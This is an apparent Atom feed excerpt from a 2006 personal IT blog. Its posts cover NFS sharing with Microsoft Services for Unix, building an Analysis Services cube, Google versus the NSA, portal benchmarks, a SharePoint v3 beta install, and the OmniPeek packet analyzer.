    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=138" title="Services for Unix in Six Easy Steps" />
    <id>tag:cw.sampas.net,2006:/blog//1.138</id>
    
    <published>2006-08-04T12:35:38Z</published>
    <updated>2006-08-04T12:53:37Z</updated>
    
    <summary>After tiring of redoing samba.conf files over and over again, I finally tried out Microsoft&apos;s (free) Services for Unix for simple file sharing between my Fedora Core 4 box and servers on my domain. 1. Copy over /etc/passwd and /etc/group...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Exchange - Sharepoint - SQL - AD" />
    
        <category term="Grad School" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>After tiring of redoing samba.conf files over and over again, I finally tried out Microsoft's (free) Services for Unix for simple file sharing between my Fedora Core 4 box and servers on my domain.</p>

<p>1. Copy over /etc/passwd and /etc/group to  a secure folder on the windows machine where you are going to install SfU.<br />
2. Download and install Microsoft's <a href="http://www.microsoft.com/technet/interopmigration/unix/sfu/default.mspx">Services for Unix</a>, and tell it to use password files during the installation process. (This is not a lesson on setting up a NIS domain -- just connecting one Linux box to your Windows server quickly and reliably. SfU installs several other items by default, like Unix Perl and grep; ActiveState Perl is optional. You want NFS Server.) Reboot.<br />
3. In Windows, right click on the folder you'd like to share, click and NFS sharing tab, and select "share this folder."<br />
4. On your linux box, as root, add a line like this to /etc/fstab:<br />
myserver.com:/somefolder             /somefolder    nfs     defaults        0 0<br />
5. On linux, mount /pub<br />
6. cd /pub and ls -la to your heart's content.</p>

<p>There are many security implications for Windows and Linux, like sharing your password and group files, and I'll sniff and trying cracking the passwords later.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Business Intelligence Studio: A Wizard for your Data Mart</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/08/business_intelligence_studio_a.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=137" title="Business Intelligence Studio: A Wizard for your Data Mart" />
    <id>tag:cw.sampas.net,2006:/blog//1.137</id>
    
    <published>2006-08-03T14:26:56Z</published>
    <updated>2006-08-03T14:45:05Z</updated>
    
    <summary>My grad school project group finished our data mart for class. I learned a few things about SQL Server 2005 Analysis Services, Reporting Services, and Business Intelligence Studio along the way. One of our group members is a SAS programmer,...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Exchange - Sharepoint - SQL - AD" />
    
        <category term="Grad School" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>My grad school project group finished our data mart for class. I learned a few things about SQL Server 2005 Analysis Services, Reporting Services, and <a href="http://www.microsoft.com/sql/solutions/bi/default.mspx">Business Intelligence Studio</a> along the way. One of our group members is a SAS programmer, so he provided us with simulated data: attendance records for a theoretical amusement park that included zip code and promotion type, with zip-code ACORN differences. Our idea was that if you came to the park with a coupon, we would know from the bar code where you came from; if you didn't have a coupon, the gate would ask you your zip code, just like at the retail store. </p>

<p>We had six million rows in our fact table, which included dateID, promotionID, zipID, and attendance, giving us three dimensions. We were going more for scalability rather than trying to pile in a lot of dimensions. I took the flat files from our SAS master and imported them into a SQL 2005 database. For some reason, SQL 2005's import tool defaults to a nvarchar(50) type. While six million records isn't much, the records were fixed-size and much smaller, so I was able to stuff them in an nchar type that was small and efficient because it doesn't require an offset column array. Our six million fact table records matched to 5 types of promotion, about 10,000 zip codes, and individual days for 3 years. </p>

<p>Once we created the database, I exited SQL Server Management Studio and opened up a new Business Intelligence Studio project. One difference between Management Studio and BI Studio is that BI Studio does not use SQL authentication. You must use Windows/Domain accounts. There is no sa in Business Intelligence Studio.</p>

<p>Once in BI Studio,you create a data source, just like with any project that involves a database. Then you create a data source view by selecting the tables you want to use and creating a dimensional model diagram. Microsoft calls this their Unified Dimensional Model. While your fact table doesn't need a primary key, your dimension tables do. The arrows should be pointing from your fact table to the dimension tables. I don't know why, but I often get this wrong when I'm creating a new data source view.</p>

<p>Finally, your fact table columns need to reference the right dimensions. Matching these up took a little longer than expected because I had to guess which fields were what, because our SAS genius didn't document which numbers were what. I looked at the 8-digit numbers and guessed wrong. The auto-build cube wizard worked fine, and the dimensions looked OK. Processing the cube failed when it timed out, and the error messages didn't say anything about orphaned fact rows. </p>

<p>Once the columns were matched up correctly, everything worked fine, and the auto-build cube wizard is pretty impressive. If you did everything right, building the cube should give you dimensions. You can create new dimensions if the wizard missed some. The time dimension has many options. At first I set time to be a regular dimension to avoid promblems: is day of week a number or a name? Monday or 1? While this will give you good reports, the order of weekdays and months will be alphabetical. (Which makes be think we should rename all month and day names so they can be alphabetical and still be in order, or re-sort them so that April is the first month and Friday the first day of the week.) Setting the time dimension as a time dimension rather than a "standard" dimension will fix this.</p>

<p>Processing the cube took under five minutes. (You also need apppropriate account permissions to process the cube) If the cube processes sucessfully, you can browse pivots immediately with the browser in BI Studio. Once you see that your dimensions work, you can start connecting to SQL Server Analysis services from Excel or from SS Report Server. (Again, with appropriate Windows Domain accounts.)</p>

<p>Microsoft's BI Studio Cube and Dimension wizards work the way they should: if you have defined your dimensional model accurately and your data are valid, they'll create the right dimensions for you. The wizards are no substitute for a valid dimensional model and they can't fix bad data or orphaned records.</p>

<p>Next: Creating Pivot Table Reports using our cube and SQL Server Reporting Services for IIS.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Google vs. the National Security Agency</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/07/google_vs_the_national_securit.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=136" title="Google vs. the National Security Agency" />
    <id>tag:cw.sampas.net,2006:/blog//1.136</id>
    
    <published>2006-07-21T01:23:26Z</published>
    <updated>2006-07-21T01:27:59Z</updated>
    
    <summary>Apparently, watching Google is now as much sport as watching the NSA, according to the latest in Baseline Magazine. Discovering the way Google solves data-related problems may be more interesting because Google, unlike the NSA, is not encumbered by government...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Grad School" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>Apparently, watching <a href="http://www.google.com">Google</a> is now as much sport as watching the <a href="http://en.wikipedia.org/wiki/Massively_parallel_processing">NSA</a>, according to the <a href="http://www.baselinemag.com/article2/0,1540,1985494,00.asp">latest in Baseline Magazine</a>. Discovering the way <a href="http://www.amazon.com/gp/product/055380457X/sr=1-1/qid=1153444387/ref=pd_bbs_1/002-4660488-1145663?ie=UTF8&s=books">Google</a> solves data-related problems may be more interesting because <a href="http://www.amazon.com/gp/product/1591840880/sr=1-2/qid=1153444387/ref=pd_bbs_2/002-4660488-1145663?ie=UTF8&s=books"></a>Google</a>, unlike the <a href="http://www.amazon.com/gp/product/0385499086/sr=1-1/qid=1153444492/ref=sr_1_1/002-4660488-1145663?ie=UTF8&s=books">NSA</a>, is not encumbered by government contracting procedures and regulations.</p>

<p>Think about it: you can search the web with <a href="http://www.amazon.com/gp/product/0553383663/sr=1-5/qid=1153444618/ref=sr_1_5/002-4660488-1145663?ie=UTF8&s=books">Google</a> and find files faster than you can when you're looking for files on your own computer using Windows Search. To learn why it takes longer to search a hard disk on your own *#$% computer than the web, read the <a href="http://www.baselinemag.com/article2/0,1540,1985049,00.asp">Baseline story</a>.</p>

<p>The <a href="http://www.nsa.gov">National Security Agency</a> and <a href="http://www.amazon.com/gp/product/0596101619/sr=1-4/qid=1153444618/ref=sr_1_4/002-4660488-1145663?ie=UTF8&s=books">Google</a> are in the same business, essentially: take a firehose spitting out information and sort it into something useful. Both the NSA and Google keep their collective mouths shut about sources and methods. The <a href="http://www.amazon.com/gp/product/1422004694/sr=1-4/qid=1153444802/ref=sr_1_4/002-4660488-1145663?ie=UTF8&s=books">NSA</a> has been slightly better about keeping purchases of high bandwidth out of the news, but only because they have an organization advantage of operating outside the traditional business community (assuming <a href="http://search.ebay.com/search/search.dll?from=R40&satitle=watkins-johnson+receiver">Watkins-Johnson</a> is not a normal business).</p>

<p>The Baseline story estimates the number of Google servers at somewhere around 450,000, but you should think of them as a much smaller number of <a href="http://en.wikipedia.org/wiki/Massively_parallel_processing">MPP</a> supercomputers. <a href="http://www.amazon.com/gp/product/0596101082/sr=1-6/qid=1153444618/ref=sr_1_6/002-4660488-1145663?ie=UTF8&s=books">Google</a> initially had trouble because most data centers couldn't deliver enough watts per square foot to power dense server blade environments, so they turned to AMD processors. That's a process of scaling up computing power, and I wonder how the NSA solved the same problem, although I assume they just pumped in more watts for processors and cooling. Those of you familiar with Microsoft's current file system, NTFS, may know that you can set disk cluster size from 4 kbytes to 64 kbytes. Google's file system has a cluster size of 64 Mbytes. Their files are large, and a large cluster size leads to more efficiency. Google has re-engineered kernel, filesystems, and who knows what else for scalability. Did they re-engineer from the ground up more efficiently than the NSA?</p>

<p>Another facet of the Baseline Google story is the office-in-a-box. As a former IT contractor for political campaigns, I had to figure out the cheapest fastest way to set up a computing infrastructure for a field office in, say, Des Moines, Manchester, or Columbia. (Columbia is the capital of South Carolina, for those of you out of the primary calendar loop.) My setup was fairly simple: router, firewall, server (Domain Controller also running DHCP, DNS, and a Global Catalog, of course), printer/copier. </p>

<p>Google has office IT-in-a-box that would put mine to shame. Google also has shipping containers converted into server infrastructures that they can ship anywhere. Baseline implies that the military's IT- infrastructures-in-a-shipping-container exist in Powerpoint only.</p>

<p>As far as the Google vs. NSA operating efficiency battle goes, at least there's more than one career option for deep geeks. I would have a hard time deciding between the two because they both offer serious computing power. As far as ethical considerations go, both have pluses and minuses. The NSA doesn't make money selling advertising; as hard as Google tries, running a business requires some level of compromise to make money. The power of both organizations could be abused. The way things are going in the Intelligence Community, Google will be more secret than the NSA in five years.</p>

<p>What do you think?</p>]]>
        
    </content>
</entry>

<entry>
    <title>Java vs. Python/Plone vs. PHP/XOOPS vs. J2EE vs. .Net</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/07/java_vs_pythonplone_vs_phpxoop.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=135" title="Java vs. Python/Plone vs. PHP/XOOPS vs. J2EE vs. .Net" />
    <id>tag:cw.sampas.net,2006:/blog//1.135</id>
    
    <published>2006-07-17T23:49:28Z</published>
    <updated>2006-07-17T23:51:53Z</updated>
    
    <summary>eWeek had one of the coolest lab tests I&apos;ve seen in a while last week: they tested portal applications for speed on different architectures. This is exactly the kind of testing I&apos;d do in my little lab if I had...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>eWeek had one of the coolest lab tests I've seen in a while last week: they <a href="http://www.eweek.com/article2/0,1759,1979199,00.asp">tested portal applications for speed on different architectures</a>. This is exactly the kind of testing I'd do in my little lab if I had the resources. </p>

<p>eWeek tested JBoss on Windows, Plone on Windows, XOOPS on Windows, Plone on Linux (SUSE), XOOPS on Linux (SUSE), JBoss on Linux (CentOS), Liferay on CentOS, and Sharepoint Portal Server on Windows. Their results were mixed: .Net had the highest throughput per second in KB, Windows JBoss the highest number of transactions per second, J2EE/Liferay/Linux the highest hits per scond, and JBoss on Windows the lowest page load time. .Net and Windows JBoss were among the fastest portal applications, but the various LAMP flavors did OK, especially if you did something to speed them up. (Like using <a href="http://www.zend.com/">Zend Technologies'</a> PHP accelerator.)</p>

<p>The main point of all this testing did not indicate that one portal architecture necessarily better than the rest. If your organization has expertise in a specific portal area, then that architecture will work for you. The key is that whatever architecture you choose is what matches your business. </p>

<p>Information Technology is changing, as always. What matters most is not the technology -- it's your understanding of your business and how to make that work faster and cheaper. IT and IS are just tools for your business.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Sharepoint Version 3 Beta Install</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/07/sharepoint_version_3_beta_inst.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=134" title="Sharepoint Version 3 Beta Install" />
    <id>tag:cw.sampas.net,2006:/blog//1.134</id>
    
    <published>2006-07-10T01:42:30Z</published>
    <updated>2006-07-10T01:45:19Z</updated>
    
    <summary>Microsoft&apos;s future for the Office suite emphasizes online collaboration. Microsoft&apos;s purchase of Groove and upcoming Office Groove and Groove Server emphasize collaboration, online and off, as key to their future success. (Sign up for the free Office 2007 Beta already...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Exchange - Sharepoint - SQL - AD" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>Microsoft's future for the Office suite emphasizes online collaboration. Microsoft's <a href = "http://www.kanai.net/weblog/archive/2005/03/11/15h31m47s">purchase of Groove</a> and upcoming Office Groove and Groove Server emphasize collaboration, online and off, as key to their future success. (<a href="http://www.microsoft.com/office/preview/beta/getthebeta.mspx">Sign up for the free Office 2007 Beta</a> already -- Microsoft is pushing this pretty hard.)</p>

<p>I have been using Sharepoint since verson one to help solve simple problems with clients and their online office space, including collaboration. I have used Sharepoint to do everything from host photo albums and documents to doing really obvious things like "click here to connect to printer x in room y." I'm trying to see what Groove has to offer, but first I am playing around with Sharepoint Version 3.</p>

<p>Sharepoint Version 3 Beta has three requirements that it checks before the install: <a href="http://www.microsoft.com/downloads/details.aspx?familyid=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&displaylang=en">.Net Framework 2.0</a>, since it's a .Net 2.0 application, ASP.net 2.0, and <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=5C080096-F3A0-4CE4-8830-1489D0215877&displaylang=en">Windows Workflow Foundation Beta 2 v.3.0.3807.7 or above</a>. Windows Workflow is the new process that will be available in Office 2007.</p>

<p>Once you have the installer running, it tells you that it can do an in-place upgrade of your Sharepoint v.2 site if you database is under 30 GB. However, it will need to restart IIS, Sharepoint, and the Sharepoint timer during the upgrade process. This is where I ran into one of two problems. I didn't look at all four tabs of the installer, so I neglected to check that my Sharepoint was front-end only. The database for mine is hosted on SQL 2005. Thus, the post-install script choked at step 5 of 10, stalling on registering SP services. The preupgrade install script posts details here:<br />
\PreupgradeReport_632880453377812500_Log.txt and here PreupgradeReport_632880453377812500_Summary.xml, proving that everything has an XML file in the future.</p>

<p>The other problem was a result of my original Sharepoint v.2 install. Sharepoint v.3 will not let you connect to a configuration database with an SQL account. You must use a domain account. I didn't want to use NT Authority\Network Service, so I tried to change the SQL 2005 permissions for the configuration database, to no avail. I ended up doing a SQL Profiler Trace of the connect step to see what I could change in SQL to make Sharepoint use a different account. Thus result I got is a little opaque: a lot of exec sp_resetconnection and exec dbo.proc_getObject @Id='68430B8A-6365-44B4-99E2-CC842773FCDA', which results in:<br />
68430B8A-6365-44B4-99E2-CC842773FCDA	8446FC57-4D84-4D79-8EA9-4B1C9C02C40C	9920F486-2FF4-4D10-9532-E01979826585	Central Administration, and more, which didn't help much. <a href="http://msdn2.microsoft.com/en-us/library/ms540024.aspx">Sharepoint Version 3 help</a> wasn't an aid here either.</p>

<p>Since I hadn't done much with the old Sharepoint except install the SQL Report Server web parts, I created a new site. The Sharepoint installer had already nuked my Default Web Site, so I didn't feel like I had much to lose. If I had to reconnect to the old database, I would have had to reset the password on the NT Authority\Network Service account. Once you get a configuration database, you can use SQL accounts for the individual web site connections.</p>

<p>Installing the web parts again was no problem. I used the same web parts I did for Sharepoint v.2 from the SQL 2005 install. Our old friend, stsadm.exe hasn't changed:<br />
C:\Program Files\Common Files\Microsoft Shared\web server extensions\12\BIN\STSADM.EXE -o addwppack -filename "C:\Program Files\Microsoft SQL Server\90\Tools\Reporting Services\SharePoint\RSWebParts.cab", assuming both are on the same box.</p>

<p>There's a lot more to Sharepoint 3 Admin tool: you can select specific users for inbound and outbound mail, for instance. You can also backup and restore content databases, as well as configure antivirus settings. There's even a built-in best practices analyzer tool.</p>

<p>Finally, there's a recycle bin. Now Sharepoint administrators won't have to figure out ways of protecting content from users. Next installment: how granular are the permissions?</p>]]>
        
    </content>
</entry>

<entry>
    <title>Network Analysis With Free EtherPeek: Ethereal Gets Some Competition</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/06/network_analysis_with_free_eth_1.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=133" title="Network Analysis With Free EtherPeek: Ethereal Gets Some Competition" />
    <id>tag:cw.sampas.net,2006:/blog//1.133</id>
    
    <published>2006-06-29T21:18:02Z</published>
    <updated>2006-07-01T17:21:02Z</updated>
    
    <summary>Way back in 1999, I was looking for a packet analyzer. I was familiar with EtherPeek for the Macintosh from a few years before, and I found that the AG Group was producing EtherPeek for Windows, too. The AG Group...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Grad School" />
    
        <category term="Security" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>Way back in 1999, I was looking for a packet analyzer. I was familiar with EtherPeek for the Macintosh from a few  years before, and I found that the AG Group was producing EtherPeek for Windows, too. The AG Group is now <a href="http://www.wildpackets.com">WildPackets</a>, and they are exceedingly helpful to anyone that has to troubleshoot data networks. AG Group always offered some <a href="http://www.wildpackets.com/products/free_utilities/overview">cool network freebies</a>: IP Subnet Calculator, netTools and a great protocol reference chart.</p>

<p>One of their people, <a href="http://thenetworkguy.typepad.com/">J. Scott Haugdahl</a>, has an excellent book, <a href="http://www.amazon.com/gp/product/0201433192/qid=1151616010/sr=2-1/ref=pd_bbs_b_2_1/002-5318888-9887219?s=books&v=glance&n=283155">Network Analysis and Troubleshooting</a>, which offers a bottom-up review of the OSI 7-layer model . (Which one are you: <strong>A</strong>ll <strong>P</strong>eople <strong>S</strong>ay <strong>T</strong>hey <strong>N</strong>eed <strong>D</strong>ata <strong>P</strong>rocessing or <strong>P</strong>lease <strong>D</strong>o <strong>N</strong>ot <strong>T</strong>hrow <strong>S</strong>ausage <strong>P</strong>izza <strong>A</strong>way?)</p>

<p>I liked EtherPeek and the book so much that I bought both and paid out of my own pocket even though my job was managing the network. Of course, this was back in the day when running <a href="http://www.tcpdump.org/">tcpdump</a> required you to know your IRQ, DMA and chip set (i.e. DEC Tulip). My job at the time was helping change a campus network from Netware to TCP/IP when Windows and Macintosh didn't even install a TCP/IP stack by default. We went from three-and-a-half network protocols (two different Netware frame types) to one and a half (we still had a couple of AppleTalk issues.) Each computer was on the Internet with a public IP address and no firewall. The ping of death still worked against most machines, and we also got hit with Smurf and Trinoo attacks that would disrupt all online activity.</p>

<p>WildPackets makes some excellent packet analyzers for wired and wireless networks. Now their base-level product is free: <a href="http://www.wildpackets.com/products/omni/omnipeek_personal/overview">OmniPeek Personal</a>. While I have been using <a href="http://www.ethereal.com">Ethereal</a> since my old version of EtherPeek became obsolete because it was on my ancient Dell laptop, I missed EtherPeek because it was the first packet analyzer I really got to know well. I could create filters and find exactly what I needed to find. EtherPeek also had good summary statistical functions, which could tell me who was producing the most traffic on my networks. Omnipeek Personal is better than my copy of EtherPeek was because it includes some expert analysis about bad packets and delayed response times. It also produces HTML statistics just like the original, and it has a better interface than Ethereal, using color to show differences between packets.</p>

<p>For those of you that underestimate the power of color, try printing a Google or Mapquest map in black and white and one in color and see which one is easier to read while you're driving. OmniPeek makes it easier to read your packet stats and is easier on your eyes than Ethereal. It's also supposed to do wireless captures -- I'll update when I get a <a href="http://www.wildpackets.com/support/omni/omnipeek_personal/wireless"> compatible chipset wireless card</a>.</p>]]>
        
    </content>
</entry>

</feed> 

